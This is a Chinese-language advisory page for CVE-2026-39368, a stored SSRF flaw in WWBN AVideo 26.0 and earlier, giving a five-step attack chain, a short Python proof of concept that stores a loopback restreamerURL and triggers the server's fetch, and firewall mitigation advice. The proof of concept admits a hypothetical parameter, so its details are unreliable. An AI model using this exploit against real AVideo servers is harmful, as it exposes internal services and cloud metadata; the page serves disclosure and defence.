IPBUF安全漏洞报告
English
CVE-2026-39368 CVSS 6.5 中危

CVE-2026-39368 AVideo 存储型SSRF漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39368
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

SSRFCVE-2026-39368WWBN AVideoServer-Side Request Forgery存储型漏洞

漏洞概述

WWBN AVideo开源视频平台在26.0及更早版本中存在安全漏洞。其Live restream log callback flow未正确验证用户输入,允许攻击者控制restreamerURL参数。具有流媒体权限的低权限用户可存储恶意回调URL,系统随后会在服务端发起对该URL的请求,从而利用restream log功能对内网或回环地址发起存储型SSRF攻击。

技术细节

该漏洞位于Live restream log callback flow的处理逻辑中。系统接受用户提交的restreamerURL参数并将其存储,未对目标地址进行格式校验或白名单限制。当系统后台处理restream log功能时,会从数据库读取该URL并由服务端发起HTTP请求。攻击者利用此机制,可以将URL指向内网敏感资源(如127.0.0.1、内部API端口、AWS元数据服务等)。由于攻击请求是由服务端发起的,能够绕过防火墙对内网的访问限制,导致信息泄露或对内网服务的进一步攻击。

攻击链分析

STEP 1
1. 获取权限
攻击者注册或获取一个具有流媒体权限的低权限账户。
STEP 2
2. 提交恶意URL
攻击者通过Live restream log callback flow接口,提交包含内网地址(如127.0.0.1)的恶意restreamerURL。
STEP 3
3. 存储payload
系统将攻击者控制的URL存储在数据库中,未经过滤。
STEP 4
4. 触发请求
当系统后台处理restream log功能或管理员查看相关日志时,服务端会主动请求该存储的URL。
STEP 5
5. SSRF利用
服务端向内网目标发起请求,攻击者利用响应内容探测内网拓扑或窃取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_host = "http://avideo-example.com" attacker_controlled_url = "http://127.0.0.1:8080/internal-config" login_url = f"{target_host}/object/login.json" vuln_url = f"{target_host}/objects/restreamerLog.json.php" # 1. Authenticate as a low-privilege user with streaming permission session = requests.Session() credentials = {"user": "lowpriv_user", "pass": "password"} session.post(login_url, data=credentials) # 2. Exploit: Submit the malicious restreamerURL (Stored XSS/SSRF) payload = { "restreamerURL": attacker_controlled_url, "action": "save" # Hypothetical parameter based on common flows } response = session.post(vuln_url, data=payload) if response.status_code == 200: print("[+] Payload stored successfully.") # 3. Trigger: The server will fetch the URL later, or force a check # Depending on the app logic, viewing the log might trigger the fetch trigger_url = f"{target_host}/objects/restreamerLog.json.php?forceCheck=1" session.get(trigger_url) print("[*] Check server logs or netcat listener on internal port for connection.")

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
如果无法立即升级,建议在网络层配置出站防火墙规则,阻断应用服务器向非业务必需的内网IP段(如127.0.0.1, 10.0.0.0/8等)发起的HTTP/HTTPS请求。同时,严格限制Live restream功能的使用权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表